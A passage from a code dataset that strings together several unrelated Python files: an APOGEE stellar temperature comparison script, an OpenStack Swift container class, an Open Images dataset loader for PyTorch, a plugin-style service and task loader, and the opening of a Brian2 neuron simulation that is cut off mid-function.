:\n rgba=cmap((t-trange[0])/(trange[1]-trange[0]))\n y=x*0.+t\n plots.plotl(ax,x,tefit2(x,y),color=rgba)\n\n plots._data_x = mh\n plots._data_y = teff-ghb\n plots._data = allstar\n plots.event(fig)\n\n # separate fits for low/hi alpha/M if requested\n if alpha :\n gdlo=apselect.select(allstar,badval=['STAR_BAD'],teff=trange,mh=mhrange,logg=[0,3.8],alpha=[-0.1,0.1],raw=True)\n mean=bindata(mh[gdlo],teff[gdlo]-ghb[gdlo],bins)\n plots.plotp(ax,bins,mean,marker='o',size=40,color='g')\n tmpfit = fit.fit1d(mh[gdlo],teff[gdlo]-ghb[gdlo],ydata=teff[gdlo],degree=2)\n plots.plotl(ax,x,tmpfit(x))\n print('low alpha: ', len(gdlo))\n\n gdhi=apselect.select(allstar,badval=['STAR_BAD'],teff=trange,mh=mhrange,logg=[0,3.8],alpha=[0.1,0.5],raw=True)\n mean=bindata(mh[gdhi],teff[gdhi]-ghb[gdhi],bins)\n plots.plotp(ax,bins,mean,marker='o',size=40,color='b')\n tmpfit = fit.fit1d(mh[gdhi],teff[gdhi]-ghb[gdhi],ydata=teff[gdhi],degree=2)\n plots.plotl(ax,x,tmpfit(x))\n print('hi alpha: ', len(gdhi))\n\n fig.tight_layout()\n fig.savefig(out+'.png')\n plt.close()\n plt.rc('font',size=14)\n plt.rc('axes',titlesize=14)\n plt.rc('axes',labelsize=14)\n fig.savefig(out+'.pdf')\n plt.close()\n\n # auxiliary plots with different color-codings\n try:\n meanfib=allstar['MEANFIB']\n except:\n meanfib=teff*0.\n fig,ax=plots.multi(2,2,hspace=0.001,wspace=0.001)\n plots.plotc(ax[0,0],mh,teff-ghb,logg,zr=[0,5],xr=xr,yr=yr,xt='[M/H]',yt='ASPCAP-photometric Teff',colorbar=True,zt='log g')\n plots.plotc(ax[0,1],mh,teff-ghb,meanfib,zr=[0,300],xr=xr,yr=yr,xt='[M/H]',yt='ASPCAP-photometric Teff',colorbar=True,zt='mean fiber')\n pfit = fit.fit1d(mh,teff-ghb,ydata=teff,plot=ax[1,0],zr=[-500,200],xt='[M/H]',yt='$\\Delta Teff$',xr=[-2.7,0.9],yr=[3500,5000],colorbar=True,zt='Teff')\n pfit = fit.fit1d(teff,teff-ghb,ydata=mh,plot=ax[1,1],zr=[-500,200],xt='Teff',xr=trange,yr=[-2.5,0.5],colorbar=True,zt='[M/H]')\n fig.tight_layout()\n fig.savefig(out+'_b.png')\n plt.close()\n \n # do some test 2D and 1D fits and plots \n #fig,ax=plots.multi(2,2,hspace=0.5,wspace=0.001)\n #ax[0,1].xaxis.set_visible(False)\n #ax[0,1].yaxis.set_visible(False)\n #pfit = fit.fit2d(allstar[param][:,3],allstar[param][:,0],allstar[param][:,0]-ghb,plot=ax[0,0],zr=[-500,200],xt='[M/H]',yt=['Teff'],zt='$\\Delta Teff$')\n #pfit = fit.fit1d(allstar[param][:,3],allstar[param][:,0]-ghb,ydata=allstar[param][:,0],plot=ax[1,0],zr=[-500,200],xt='[M/H]',yt='$\\Delta Teff$',xr=[-2.7,0.9],yr=[3500,5000])\n #pfit = fit.fit1d(allstar[param][:,0],allstar[param][:,0]-ghb,ydata=allstar[param][:,3],plot=ax[1,1],zr=[-500,200],xt='Teff',xr=[3900,5100],yr=[-2.5,0.5])\n plt.draw()\n return {'caltemin': 3000., 'caltemax': 10000., 'temin' : trange[0], 'temax': trange[1], \n 'mhmin': mhrange[0], 'mhmax' : mhrange[1],\n 'par': tefit.parameters, 'rms' :rms, 'par2d': tefit2.parameters, 'errpar' : errpar}\n\n\ndef irfm(allstar,trange=[4000,5000],mhrange=[-2.5,0.75],out='dteff') :\n '''\n Compares allstar ASPCPAP Teff with various photometric Teff from JAJ compilation (SAGA, CL, TH, SFD)\n Does fits \n\n Args:\n allstar : allStar structure\n\n '''\n\n # select stars\n gd=apselect.select(allstar,badval=['STAR_BAD'],teff=trange,mh=mhrange,raw=True)\n allstar=allstar[gd]\n\n # get IRFM data\n irfm=fits.open(os.environ['APOGEE_DIR']+'/data/calib/irfm_temp.fits')[1].data\n\n # get the subsamples and match. Note that we have to do this separately for each subsample because some\n # stars appear in more than one subsample\n saga=np.where(irfm['SOURCE'] == 'SAGA')[0]\n saga1,saga2=match.match(np.chararray.strip(allstar['APOGEE_ID']),np.chararray.strip(irfm['2MASS ID'][saga]))\n cl=np.where(irfm['SOURCE'] == 'CL')[0]\n cl1,cl2=match.match(np.chararray.strip(allstar['APOGEE_ID']),np.chararray.strip(irfm['2MASS ID'][cl]))\n th=np.where(irfm['SOURCE'] == 'TH')[0]\n th1,th2=match.match(np.chararray.strip(allstar['APOGEE_ID']),np.chararray.strip(irfm['2MASS ID'][th]))\n sfd=np.where(irfm['SOURCE'] == 'SFD')[0]\n sfd1,sfd2=match.match(np.chararray.strip(allstar['APOGEE_ID']),np.chararray.strip(irfm['2MASS ID'][sfd]))\n\n # plot diff color-coded by gravity as f([M/H])\n fig,ax=plots.multi(2,2,hspace=0.001,wspace=0.001)\n xr=[-3.0,1.0]\n yr=[-400,300]\n zr=[3500,6000]\n bins=np.arange(-2.5,0.75,0.25)\n\n # SAGA\n plots.plotc(ax[0,0],allstar['FPARAM'][saga1,3],allstar['FPARAM'][saga1,0]-irfm['IRFM TEFF'][saga[saga2]],allstar['FPARAM'][saga1,0],zr=zr,xr=xr,yr=yr,xt='[M/H]',yt='ASPCAP-photometric Teff')\n mean=bindata(allstar['FPARAM'][saga1,3],allstar['FPARAM'][saga1,0]-irfm['IRFM TEFF'][saga[saga2]],bins)\n plots.plotp(ax[0,0],bins,mean,marker='o',size=40)\n ax[0,0].text(0.1,0.9,'SAGA',transform=ax[0,0].transAxes)\n\n # CL\n plots.plotc(ax[0,1],allstar['FPARAM'][cl1,3],allstar['FPARAM'][cl1,0]-irfm['IRFM TEFF'][cl[cl2]],allstar['FPARAM'][cl1,0],zr=zr,xr=xr,yr=yr,xt='[M/H]')\n mean=bindata(allstar['FPARAM'][cl1,3],(allstar['FPARAM'][cl1,0]-irfm['IRFM TEFF'][cl[cl2]]),bins)\n plots.plotp(ax[0,1],bins,mean,marker='o',size=40)\n ax[0,1].text(0.1,0.9,'CL',transform=ax[0,1].transAxes)\n\n # TH\n plots.plotc(ax[1,0],allstar['FPARAM'][th1,3],allstar['FPARAM'][th1,0]-irfm['IRFM TEFF'][th[th2]],allstar['FPARAM'][th1,0],zr=zr,xr=xr,yr=yr,xt='[M/H]',yt='ASPCAP-photometric Teff')\n mean=bindata(allstar['FPARAM'][th1,3],(allstar['FPARAM'][th1,0]-irfm['IRFM TEFF'][th[th2]]),bins)\n plots.plotp(ax[1,0],bins,mean,marker='o',size=40)\n ax[1,0].text(0.1,0.9,'TH',transform=ax[1,0].transAxes)\n\n # SFD\n plots.plotc(ax[1,1],allstar['FPARAM'][sfd1,3],allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]],allstar['FPARAM'][sfd1,0],zr=zr,xr=xr,yr=yr,xt='[M/H]')\n mean=bindata(allstar['FPARAM'][sfd1,3],(allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]]),bins)\n plots.plotp(ax[1,1],bins,mean,marker='o',size=40)\n ax[1,1].text(0.1,0.9,'SFD',transform=ax[1,1].transAxes)\n\n fig.savefig(out+'_mh.png')\n\n # plot diff color-coded by gravity as f([M/H])\n fig,ax=plots.multi(2,2,hspace=0.001,wspace=0.001)\n zr=[-2.0,0.5]\n yr=[-400,300]\n xr=[6000,3500]\n bins=np.arange(3500,5500,250)\n\n # SAGA\n plots.plotc(ax[0,0],allstar['FPARAM'][saga1,0],allstar['FPARAM'][saga1,0]-irfm['IRFM TEFF'][saga[saga2]],allstar['FPARAM'][saga1,3],zr=zr,xr=xr,yr=yr,xt='Teff',yt='ASPCAP-photometric Teff')\n mean=bindata(allstar['FPARAM'][saga1,0],(allstar['FPARAM'][saga1,0]-irfm['IRFM TEFF'][saga[saga2]]),bins)\n plots.plotp(ax[0,0],bins,mean,marker='o',size=40)\n ax[0,0].text(0.1,0.9,'SAGA',transform=ax[0,0].transAxes)\n\n # CL\n plots.plotc(ax[0,1],allstar['FPARAM'][cl1,0],allstar['FPARAM'][cl1,0]-irfm['IRFM TEFF'][cl[cl2]],allstar['FPARAM'][cl1,3],zr=zr,xr=xr,yr=yr,xt='Teff')\n mean=bindata(allstar['FPARAM'][cl1,0],(allstar['FPARAM'][cl1,0]-irfm['IRFM TEFF'][cl[cl2]]),bins)\n plots.plotp(ax[0,1],bins,mean,marker='o',size=40)\n ax[0,1].text(0.1,0.9,'CL',transform=ax[0,1].transAxes)\n\n # TH\n plots.plotc(ax[1,0],allstar['FPARAM'][th1,0],allstar['FPARAM'][th1,0]-irfm['IRFM TEFF'][th[th2]],allstar['FPARAM'][th1,3],zr=zr,xr=xr,yr=yr,xt='Teff',yt='ASPCAP-photometric Teff')\n mean=bindata(allstar['FPARAM'][th1,0],(allstar['FPARAM'][th1,0]-irfm['IRFM TEFF'][th[th2]]),bins)\n plots.plotp(ax[1,0],bins,mean,marker='o',size=40)\n ax[1,0].text(0.1,0.9,'TH',transform=ax[1,0].transAxes)\n\n # SFD\n plots.plotc(ax[1,1],allstar['FPARAM'][sfd1,0],allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]],allstar['FPARAM'][sfd1,3],zr=zr,xr=xr,yr=yr,xt='Teff')\n mean=bindata(allstar['FPARAM'][sfd1,0],(allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]]),bins)\n plots.plotp(ax[1,1],bins,mean,marker='o',size=40)\n ax[1,1].text(0.1,0.9,'SFD',transform=ax[1,1].transAxes)\n\n fig.savefig(out+'_teff.png')\n\n # do 2D fits with Teff and [M/H], and 1D fits with each\n\n fig,ax=plots.multi(2,2,hspace=0.5,wspace=0.001)\n ax[0,1].xaxis.set_visible(False)\n ax[0,1].yaxis.set_visible(False)\n pfit = fit.fit2d(ax[0,0],allstar['FPARAM'][sfd1,3],allstar['FPARAM'][sfd1,0],allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]],plot=True,zr=[-500,200],xt='[M/H]',yt=['Teff'],zt='$\\Delta Teff$')\n pfit = fit.fit1d(ax[1,0],allstar['FPARAM'][sfd1,3],allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]],ydata=allstar['FPARAM'][sfd1,0],plot=True,zr=[-500,200],xt='[M/H]',yt='$\\Delta Teff$',xr=[-2.7,0.9],yr=[3500,5000])\n pfit = fit.fit1d(ax[1,1],allstar['FPARAM'][sfd1,0],allstar['FPARAM'][sfd1,0]-irfm['IRFM TEFF'][sfd[sfd2]],ydata=allstar['FPARAM'][sfd1,3],plot=True,zr=[-500,200],xt='Teff',xr=[3900,5100],yr=[-2.5,0.5])\n\n pdb.set_trace()\n\n return pfit\n\n\ndef dr13dr12() :\n '''\n compare dr13 dr12 Teff\n '''\n\n dr12load=apload.ApLoad(dr='dr12')\n dr12=dr12load.allStar()[1].data\n dr13load=apload.ApLoad(dr='dr13')\n dr13=dr13load.allStar()[1].data\n i1,i2 = match.match(dr12['APOGEE_ID'],dr13['APOGEE_ID'])\n dr12=dr12[i1]\n dr13=dr13[i2]\n\n fig,ax=plots.multi(1,2,hspace=0.001,wspace=0.001)\n plots.plotc(ax[0],dr13['M_H'],dr13['TEFF']-dr12['TEFF'],dr13['TEFF'],xr=[-2.5,0.75],yr=[-300,300],zr=[3500,5000])\n\n plots.plotc(ax[1],dr13['TEFF'],dr13['TEFF']-dr12['TEFF'],dr13['M_H'],xr=[6500,3000],yr=[-300,300],zr=[-2,0.5])\n\ndef cte_ghb(jk0,feh,dwarf=False) :\n \"\"\"\n Color-temperature relation from Gonzalez Hernandez & Bonifacio (2009): (J-K)_0 - Teff\n \"\"\"\n if dwarf :\n b0=0.6524 ; b1=0.5813 ; b2=0.1225 ; b3=-0.0646 ; b4=0.0370 ; b5=0.0016 # dwarfs\n else :\n b0=0.6517 ; b1=0.6312 ; b2=0.0168 ; b3=-0.0381 ; b4=0.0256 ; b5=0.0013 # giants\n theta=b0+b1*jk0+b2*jk0**2+b3*jk0*feh+b4*feh+b5*feh**2\n dtheta_djk = b1+2*b2*jk0+b3*feh\n dt_djk= -5040./theta**2*dtheta_djk\n\n return 5040./theta, dt_djk\n\n","sub_path":"python/apogee/aspcap/teffcomp.py","file_name":"teffcomp.py","file_ext":"py","file_size_in_byte":15424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"78825545","text":"# Copyright 2017 IBM Corporation\n# Copyright 2017 The Johns Hopkins University\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import, print_function\nfrom swiftclient.service import SwiftError\nfrom core.objectstore.store import Store\n\nclass Container(object):\n\n def __init__(self, container_name):\n # create swift service\n self._object_store = Store.load()\n self._name = container_name\n\n @property\n def name(self):\n return self._name\n\n def create(self):\n \"\"\"Create a container\"\"\"\n \n try:\n self._object_store._service.post(self.name)\n except SwiftError as e:\n print(e)\n raise e\n \n def update(container_name):\n \"\"\"Update a container metadata\"\"\"\n return NotImplemented \n\n def delete(self):\n \"\"\"Delete a container\"\"\"\n\n try:\n response = self._object_store._service.delete(container=self.name)\n for page in response:\n continue\n except SwiftError as e:\n print(e)\n raise e\n\n @staticmethod\n def list():\n \"\"\"List containers\"\"\"\n \n object_store = Store.load()\n try:\n response = object_store._service.list()\n except SwiftError as e:\n print(e)\n raise e\n for page in response:\n for container in page['listing']:\n yield Container(container['name'])\n","sub_path":"objectfs/core/data/.old/swift/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"560918279","text":"#-*-coding:utf-8-*-\n\nimport torch.utils.data as tdata\nimport os\nfrom PIL import Image\nimport numpy as np\nimport pandas as pd\nfrom config import cfg\nimport json\n\n\ndef read_descriptions():\n data = pd.read_csv(os.path.join(cfg.FILE.BASE_PATH,\n cfg.FILE.CLASS_DESCRIPTION))\n class2Name = {}\n class2Name[\"/m/061hd_\"] = \"Infant bed\"\n for _, row in data.iterrows():\n class2Name[row[\"/m/061hd_\"]] = row[\"Infant bed\"]\n return class2Name\n\n\ndef load_class(classes):\n class2idx = dict(((cls, idx) for idx, cls in enumerate(classes)))\n return class2idx\n\n\ndef analyse_hierarchy_old(json_dir):\n json_file = open(os.path.join(cfg.FILE.BASE_PATH, json_dir))\n json_dict = json.load(json_file)\n labelName = cfg.BBOX.CSV_LABELNAME\n subcategory = \"Subcategory\"\n classes = [json_dict[labelName]]\n\n def _handle_list(json_list):\n for json_dict in json_list:\n classes.append(json_dict[labelName])\n\n for js_dict in json_list:\n sub = js_dict.get(subcategory, None)\n if sub:\n _handle_list(sub)\n\n _handle_list(json_dict[subcategory])\n return classes\n\n\ndef old_idx_class_map():\n classes = analyse_hierarchy_old(cfg.FILE.CLASS_HIERARCHY_FILE)\n class2idx = load_class(classes)\n return class2idx\n\n\ndef old2new(new):\n o2n = {}\n old = old_idx_class_map()\n for cls in new:\n o2n[old[cls]] = new[cls]\n return o2n\n\n\ndef analyse_hierarchy(json_dir, class2idx):\n json_file = open(os.path.join(cfg.FILE.BASE_PATH, json_dir))\n json_dict = json.load(json_file)\n lableName = cfg.BBOX.CSV_LABELNAME\n subcategory = \"Subcategory\"\n hierarchy = {}\n\n stack = []\n\n def _analyse_hierarchy(json_dict):\n cls = json_dict[lableName]\n if subcategory in json_dict:\n if cls in class2idx:\n stack.append(cls)\n for json_obj in json_dict[subcategory]:\n _analyse_hierarchy(json_obj)\n\n if cls in class2idx:\n stack.pop(-1)\n\n if cls in class2idx:\n temp = []\n temp.extend(stack)\n if cls in hierarchy:\n hierarchy[cls].extend(temp)\n else:\n hierarchy[cls] = temp\n _analyse_hierarchy(json_dict)\n return hierarchy\n\n\ndef get_multi_labels_hierarchy_and_classes():\n class2idx, class2Name = handle_class()\n hi = analyse_hierarchy(cfg.FILE.CLASS_HIERARCHY_FILE, class2idx)\n class2idx = dict(((key, idx) for idx, key in enumerate(hi.keys())))\n idx2class = dict(((idx, key) for idx, key in enumerate(hi.keys())))\n hidx = {}\n for key in hi:\n hidx[class2idx[key]] = [class2idx[x] for x in hi[key]]\n return class2idx, idx2class, class2Name, hidx\n\n\ndef handle_class():\n class2Name = read_descriptions()\n classes = class2Name.keys()\n class2idx = load_class(classes)\n return class2idx, class2Name\n\n\ndef multi_label_handler(annotations, hierarchy):\n size = annotations.shape[0]\n labels = []\n for i in range(size):\n temp = int(annotations[i, 0])\n label = [temp]\n label.extend(hierarchy[temp])\n label = np.array(label, dtype=int)\n labels.append(label)\n return labels\n\n\nclass TestLoader(tdata.Dataset):\n\n @staticmethod\n def load_image_item(file):\n return Image.open(file).convert(\"RGB\")\n\n def __init__(self, root, transform=None):\n super(TestLoader, self).__init__()\n\n self.root = root\n self.images_dir = os.path.join(root, \"test\")\n self.transform = transform\n\n if not os.path.exists(self.images_dir):\n raise OSError(\"...\")\n\n count = 0\n with os.scandir(self.images_dir) as scanner:\n for _ in scanner:\n count += 1\n numbers = count\n\n self.numbers = numbers\n\n def __len__(self):\n return self.numbers\n\n def search_file(self, item):\n select_file = None\n with os.scandir(self.images_dir) as scanner:\n for idx, entry in enumerate(scanner):\n if idx == item:\n select_file = entry.name\n if not select_file:\n raise RuntimeError(\"search image failed!\")\n return select_file.replace(\".jpg\", \"\")\n\n def load_data(self, idx):\n file_info = self.search_file(idx)\n image_file = os.path.join(self.images_dir, \"{}.jpg\".format(file_info))\n image = self.load_image_item(image_file)\n return file_info, image\n\n def __getitem__(self, item):\n file_info, image = self.load_data(item)\n info = None\n\n if self.transform is not None:\n image, info = self.transform(image, None)\n\n return file_info, image, info\n\n\nclass ImageLoader(tdata.Dataset):\n\n def get_length(self):\n raise NotImplementedError\n\n def __init__(self,\n root,\n dataset=\"train\",\n transforms=None,\n help_file=None):\n super(ImageLoader, self).__init__()\n\n self.root = root\n self.dataset = dataset\n self.transforms = transforms\n\n self.images_dir = os.path.join(root, dataset)\n self.ann_dir = os.path.join(root, \"labels/{}\".format(dataset))\n if not os.path.exists(self.root) or not os.path.exists(self.ann_dir):\n raise OSError(\"the folder {} or {} is not exist!\".format(self.images_dir,\n self.ann_dir))\n self.help_file = help_file\n\n if not self.help_file:\n count = 0\n with os.scandir(self.ann_dir) as scanner:\n for _ in scanner:\n count += 1\n numbers = count\n else:\n numbers = self.get_length()\n self.numbers = numbers\n\n self.class2idx, self.idx2class, self.class2name, self.label_hierarchy = self.load_classes()\n\n def judge_similar(self, a, b):\n \"\"\"\n 返回顺序：父 子\n :param a:\n :param b:\n :return:\n \"\"\"\n a_h = self.label_hierarchy[a]\n b_h = self.label_hierarchy[b]\n if b in a_h:\n return b, a\n if a in b_h:\n return a, b\n return -1, -1\n\n def __len__(self):\n return self.numbers\n\n def __getitem__(self, item):\n image, annotation = self.load_data(item)\n\n if self.transforms is not None:\n image, annotation = self.transforms(image, annotation)\n\n return image, annotation\n\n def search_file(self, item):\n select_file = None\n with os.scandir(self.ann_dir) as scanner:\n for idx, entry in enumerate(scanner):\n if idx == item:\n select_file = entry.name\n if not select_file:\n raise RuntimeError(\"search image failed!\")\n return select_file.replace(\".txt\", \"\")\n\n def handle_multi_label(self, anns):\n return multi_label_handler(anns, self.label_hierarchy)\n\n @staticmethod\n def load_image_item(file):\n return Image.open(file).convert(\"RGB\")\n\n @staticmethod\n def load_annotations_item(file):\n return np.loadtxt(file, ndmin=2, dtype=np.float32)\n\n def load_classes(self):\n cls2idx, idx2cls, cls2Name, hi = get_multi_labels_hierarchy_and_classes()\n return cls2idx, idx2cls, cls2Name, hi\n\n @staticmethod\n def handle_annotations(image, annotations):\n width, height = image.size\n annotations[:, 1:3] *= width\n annotations[:, 3:] *= height\n\n # [x, x1, x2, y1, y2] -> [x, x1, y1, x2, y2]\n bbox = np.zeros((annotations.shape[0], 5), dtype=np.float32)\n bbox[:, 1] += annotations[:, 1]\n bbox[:, 4] += annotations[:, 4]\n bbox[:, 2] += annotations[:, 3]\n bbox[:, 3] += annotations[:, 2]\n # bbox[:, 1::3] += annotations[:, 1::3]\n # bbox[:, 2:4] += annotations[:, 3:1:-1]\n bbox[:, 0] += annotations[:, 0]\n return bbox\n\n def load_data(self, idx):\n file_info = self.search_file(idx)\n image_file = os.path.join(self.images_dir, \"{}.jpg\".format(file_info))\n ann_file = os.path.join(self.ann_dir, \"{}.txt\".format(file_info))\n image = self.load_image_item(image_file)\n annotations = self.load_annotations_item(ann_file)[:, 0:5]\n annotations = self.handle_annotations(image, annotations)\n return image, annotations\n\n def get_label(self, idx):\n return self.class2name[self.idx2class[idx]]\n\n\nclass TrainLoader(ImageLoader):\n \"\"\"\n 因为在处理oid数据集时因为处理过于庞大的数据集使得oid训练集被分割为多个子数据集，为了\n 解决由此带来的图片标注加载和由于处理类别层次结构而犯下的错误，我不得不使用该类来加载\n 训练集数据。而验证集和测试集并不存在上述问题，请仍然使用父类ImageLoader。在未来，\n 如果有时间，请重新生成训练集标注文件。\n \"\"\"\n def __init__(self,\n root,\n transforms=None,\n help_file=None):\n self._idx_dict = {}\n super(TrainLoader, self).__init__(root, \"train\", transforms, help_file)\n\n def __len__(self):\n return self.numbers\n\n def get_length(self):\n file = open(self.help_file)\n lines = file.readlines()\n\n acc = 0\n for line in lines:\n idx, length = line.split(\" \")\n length.replace(\"\\\\n\", \"\")\n length = int(length)\n self._idx_dict[acc] = idx\n acc += length\n file.close()\n return acc\n\n def search_file(self, item):\n idxs = list(self._idx_dict.keys())\n # print(self._idx_dict)\n idxs.sort(reverse=True)\n select_key = None\n relative_idx = 0\n i = None\n for i in idxs:\n if item >= i:\n select_key = self._idx_dict[i]\n relative_idx = item - i\n break\n images_dir = \"train_{}\".format(select_key)\n select_file = None\n with os.scandir(os.path.join(self.ann_dir, images_dir)) as scanner:\n for idx, entry in enumerate(scanner):\n if idx == relative_idx:\n select_file = entry.name\n break\n if not select_file:\n raise RuntimeError(\"search image failed, can not find {} group files in\"\n \" file {}\".format(item, self._idx_dict[i]))\n select_file = \"{}/{}\".format(images_dir, select_file.replace(\".txt\", \"\"))\n return select_file\n\n def fix_label_error(self, annotations):\n for i in range(annotations.shape[0]):\n annotations[i, 0] = self.o2n[int(annotations[i, 0])]\n\n def load_data(self, idx):\n image, anns = super(TrainLoader, self).load_data(idx)\n self.fix_label_error(anns)\n # labels_hierarchy = multi_label_handler(anns, self.label_hierarchy)\n return image, anns\n\n def load_classes(self):\n cls2idx, idx2cls, cls2Name, hi = super(TrainLoader, self).load_classes()\n self.o2n = old2new(cls2idx)\n\n return cls2idx, idx2cls, cls2Name, hi\n\n\nif __name__ == \"__main__\":\n\n from config import cfg\n from utils.visualization import plt_bboxes\n root_path = cfg.FILE.BASE_PATH\n trains = TrainLoader(os.path.join(root_path, \"data/oid\"),\n help_file=os.path.join(root_path, \"data/train_info.txt\"))\n vals = ImageLoader(os.path.join(root_path, \"data/oid\"), \"validation\")\n print(vals.idx2class)\n print(trains.class2name[trains.idx2class[47]])\n # for i in range(20):\n # image, anns = trains[i]\n # plt_bboxes(image, anns, trains)\n","sub_path":"datasets/oid.py","file_name":"oid.py","file_ext":"py","file_size_in_byte":11726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"11640553","text":"import os\nimport sys\nimport imp\nimport inspect\nimport pkgutil\nimport logging\n\nfrom gloria.service import decorator\nfrom gloria.service.runnable import Service\n\n\nclass Loader:\n \"\"\"\n TODO:\n ########################################################################\n # 1. More comments\n ########################################################################\n Put a few words on how tasks get 'loaded':\n how we search in a directory,\n how __import__ trigers the decorator,\n how we rely on the decorator to notify us when a class is being wrapped,\n and so on...\n\n ########################################################################\n # 2. Implement dependencies...\n ########################################################################\n \"\"\"\n global_loaded_tasks = set()\n\n def __init__(self, tasks_dir=''):\n self._tasks_dir = tasks_dir\n\n if tasks_dir not in sys.path:\n sys.path.append(tasks_dir)\n\n self._loaded_tasks = []\n\n # Set up a callback for our decorator to call,\n # when task class is being wrapped\n decorator.on_task_wrapped = self._on_wrapped\n\n def tasks(self):\n return self._loaded_tasks\n\n def load_tasks(self):\n logging.info('Inspecting directory [{0}] for tasks'.format(self._tasks_dir))\n possible_tasks = list(pkgutil.walk_packages(path=[self._tasks_dir]))\n\n if not possible_tasks:\n logging.warning('Didn\\'t find any tasks, skipping')\n return 0\n\n logging.info('Found {0} possible tasks, trying to import them'.format(len(possible_tasks)))\n\n for loader, task, ispkg in possible_tasks:\n if not ispkg:\n self._import_task(task)\n\n self._log_loaded_tasks()\n return len(self._loaded_tasks)\n\n def _on_wrapped(self, wrapped_task):\n logging.debug('task wrapped: {0}'.format(type(wrapped_task)))\n self._loaded_tasks.append(\n (wrapped_task,\n self._task_properties_dict(wrapped_task, decorator.Property),\n self._task_properties_dict(wrapped_task, decorator.Command))\n )\n\n def _task_properties_dict(self, klass, decorator_type):\n props = filter(lambda m: isinstance(m[1], decorator_type), inspect.getmembers(klass))\n logging.debug('props: {0}'.format(props))\n return dict(props)\n\n def _log_loaded_tasks(self):\n if len(self._loaded_tasks) == 0:\n logging.warning('No tasks were loaded')\n return\n\n logging.info('#' * 30)\n logging.info('Loaded {0} tasks:'.format(len(self._loaded_tasks)))\n logging.info('#' * 30)\n\n def _log_task(klass, prop, commands):\n logging.info('Task:')\n logging.info('... class name=\"{0}\"'.format(klass.__name__))\n logging.info('... description=\"{0}\"'.format(klass.__doc__ if klass.__doc__ is not None else 'No description available'))\n logging.info('... enabled={0}'.format(klass.enabled))\n logging.info('... autostart={0}'.format(klass.autostart))\n logging.info('... respawn={0}'.format(klass.respawn))\n #logging.info('... properties: {0}'.format(properties))\n\n for k, p, c in self._loaded_tasks:\n _log_task(k, p, c)\t\n\n def _import_task(self, task):\n logging.info('... importing task [{0}]'.format(task))\n try:\n # If the task is decorated with task,\n # this decoration will cause on_wrapped to be called.\n imported_task = __import__(task, fromlist=[task])\n logging.debug(imported_task.__name__)\n\n if imported_task.__name__ in Loader.global_loaded_tasks:\n reload(imported_task)\n\n Loader.global_loaded_tasks.add(imported_task.__name__)\n\n except ImportError as err:\n logging.error('Can\\'t import [{0}]: {1}'.format(task, err))\n\n\nclass ServiceLoader:\n def __init__(self, services_dirs=[]):\n self._loaded_services = []\n self._services_dirs = services_dirs\n self._tasks_dir = None\n\n # Set up a callback for our decorator to call,\n # when service class is beign wrapped\n decorator.on_service_wrapped = self._on_wrapped\n\n def load_services(self):\n for svc_dir in self._services_dirs:\n self.load_service(svc_dir)\n\n def load_service(self, service_dir):\n logging.info('Inspecting directory [{0}] for services'.format(service_dir))\n\n if self._is_init_py_present(service_dir):\n self._log_and_call(self._import_init_py, service_dir, '__init__.py is present')\n else:\n self._log_and_call(self._decorate_dummy_service, service_dir, '__init__.py is not present, using default service')\n\n def _log_and_call(self, func, param, log_msg):\n logging.info(log_msg)\n func(param)\n\n # Make ServiceLoader iteratable\n # i.e., make it possible to iterate over loaded services\n def __iter__(self):\n self.it = iter(self._loaded_services)\n return self\n\n def __len__(self):\n return len(self._loaded_services)\n\n def __next__(self):\n return next(self.it)\n\n def _is_init_py_present(self, service_dir):\n return True if '__init__.py' in os.listdir(service_dir) else False\n\n def _import_init_py(self, service_dir):\n logging.info('... importing service __init__.py')\n try:\n sys.path.append(service_dir)\n imported_init_py = imp.load_module(service_dir, *imp.find_module('__init__', [service_dir]))\n except ImportError as err:\n logging.error('Can\\'t import __init__.py: {0}'.format(err))\n\n def _decorate_dummy_service(self, service_dir):\n \"\"\"\n Create dummy service and decorate it with the default tasks directories\n (i.e., scan all the subdirectories in service_dir and try to import all the files in each subdirectory)\n \"\"\"\n tasks_dirs = []\n for tasks_dir in [d for d in os.listdir(service_dir) if os.path.isdir(os.path.join(service_dir, d))]:\n tasks_dirs.append(service_dir + '/' + tasks_dir)\n\n decorator.service(tasks_dirs)(Service, os.path.basename(service_dir))\n\n def _on_wrapped(self, wrapper):\n self._loaded_services.append(wrapper.wrapped_class(wrapper.wrapped_tasks, wrapper.wrapped_class.__doc__))\n","sub_path":"service/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":6364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"221931746","text":"import brian2 as bs\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom bayesian_test.utils import visualise_connectivity\n\nw_input_to_place = 26.0 * bs.mV\nTAU_M = 17.0 * bs.ms\nTAU_S = 5.0 * bs.ms\nthreshold = -55.0 * bs.mV\nv_rest = -80.0 * bs.mV\nv_reset = -80.0 * bs.mV\ne = 2.71828182846\nbs.seed(seed=19971124)\n\ndt = 0.1\n\nlif = \"\"\"\n dv/dt = (v_rest - v)/tau_m : volt (unless refractory)\n tau_m : second\n \"\"\"\n\nsynaptic_update = \"\"\"\n v_post += w_input_to_place\n \"\"\"\n\nthreshold_eq = \"v > (1+1/e)*(w_input_to_place + v_rest) + w_input_to_place\"\nreset_eq = \"v = v_reset\"\n\nSIM_TIME = 5\n\n\ndef generate_gaussian_spike_train(mean, std):\n \"\"\"\n 